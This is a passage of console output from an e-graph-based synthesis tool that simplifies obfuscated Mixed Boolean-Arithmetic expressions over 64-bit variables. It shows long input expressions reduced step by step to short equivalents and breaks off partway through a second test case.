b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+(((0x9843f8ec5cf1ad46-((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723))|((~x)|y))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-((((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))+0x6f57b7f04844afe)+(((((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0xc3843c48a01b11ba)+0x3087f1d8b9e35a8d)|(~((x^y)-(y-x))))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*0x9e3de1dbaff27723)-0x9843f8ec5cf1ad47)
====================================================================================================
eclasses #: 529
Synthesized (cost = 781): ((((0xb3397e1b3ee70a7+(-((0x2*((0x777ba9677f44b1a+(-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d)))+(((0x9843f8ec5cf1ad46-((0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723))|((~x)|y))*0xab158ca407e708b)))+(-(((((~x)|y)*0xf54ea735bf818f75)+(0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d)))+(((((0xfcc661cc3775da8f-((((((((((((0x1562b19480fce116*(y-(x&y)))+0x3bbdd4b3bfa258d)-(((0xab158ca407e708b+(y*0xab158ca407e708b))+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((0xe6d36157c789618+(y*0xab158ca407e708b))+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0xf90a8480fb7bb502+(y*0xab158ca407e708b))-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((-((~(y+0x9843f8ec5cf1ad47))-(~(x&y))))*((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b)))-(((0xe6d36157c789618+(y*0xab158ca407e708b))+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((0x777ba9677f44b1a+(-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((0x1562b19480fce116*((y-x)|(~(x*y))))+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*0xc3843c48a01b11ba)+0x3087f1d8b9e35a8d)|(~((x^y)-(y-x))))*0xab158ca407e708b))))))-0x3bbdd4b3bfa258d)*0x9e3de1dbaff27723)-0x9843f8ec5cf1ad47)
====================================================================================================
eclasses #: 1614
Synthesized (cost = 246): (-0x9e3de1dbaff27723*(((0x2*((0xab158ca407e708b-(0xe6e171204308f95d+(((((y-x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((0x89a5a6a8ef77d8a8+((((x-(x&y))*0xab158ca407e708b)*((((~y)|x)*0xf54ea735bf818f75)+0xf90a8480fb7bb502))*0x9e3de1dbaff27723))+((y-(y|x))*0x3bbdd4b3bfa258d))+(((((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*(((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723)-((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*0x9843f8ec5cf1ad47))))+(0xea9d4e6b7f031eea*((y-x)|(~(x*y)))))))+(((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-((((0xab158ca407e708b-(0xe6e171204308f95d+(((((y-x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((0x89a5a6a8ef77d8a8+((((x-(x&y))*0xab158ca407e708b)*((((~y)|x)*0xf54ea735bf818f75)+0xf90a8480fb7bb502))*0x9e3de1dbaff27723))+((y-(y|x))*0x3bbdd4b3bfa258d))+(((((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*(((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*0x9e3de1dbaff27723)-((0x3bbdd4b3bfa258d+((x&y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((y|x)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*0x9843f8ec5cf1ad47))))+(0xea9d4e6b7f031eea*((y-x)|(~(x*y)))))))+(((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b))+((((((y-x)^(x*y))+0xffffffffffffffff)|((~x)|y))*0xab158ca407e708b)+0xab158ca407e708b))+((x-(x&y))*0xab158ca407e708b))))
====================================================================================================
eclasses #: 9291
Synthesized (cost = 32): (0x9e3de1dbaff27723*((((~((y-x)|(~(x*y))))*0x1562b19480fce116)+((x*(y*0xf54ea735bf818f75))+((y-x)*0xab158ca407e708b)))+((x&(~y))*0xab158ca407e708b)))
====================================================================================================
eclasses #: 154426
Synthesized (cost = 12): (((y-x)^(x*y))+(x&(~y)))
e-graph reset done.
====================================================================================================
Polynomial MBA (permutation, 1st degree) with two 64 bits variables (EA+ED#34)
python3 synth.py
eclasses #: 151
Input (cost = 13090): ((-((((((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((